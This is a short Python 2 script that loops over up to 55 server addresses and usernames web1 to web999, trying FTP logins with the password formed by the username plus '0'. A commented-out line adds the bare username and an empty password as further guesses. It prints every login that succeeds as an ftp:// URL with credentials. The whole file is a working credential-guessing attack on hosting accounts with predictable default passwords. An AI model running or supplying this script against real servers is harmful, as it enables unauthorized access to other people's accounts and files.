#!/usr/bin/env python
import ftplib

hosts = {
  "Server1": "IP-Adresse 1",
  "Server2": "IP-Adresse 2",
  [...]
  "Server55": "IP-Adresse 55",
}

for hostname in hosts.keys():
  print "# host %s" % hostname
  ip_address = hosts[hostname]
  for usernumber in range(1, 1000):
    username = "web" + str(usernumber)
    #for password in [username + "0", username, ""]:
    for password in [username + "0"]:
      try:
        ftp = ftplib.FTP(ip_address, username, password)
      except Exception, exception:
        pass
      else:
        print "ftp://%s:%s@%s" %(username, password, hostname)
        break
  print "# done"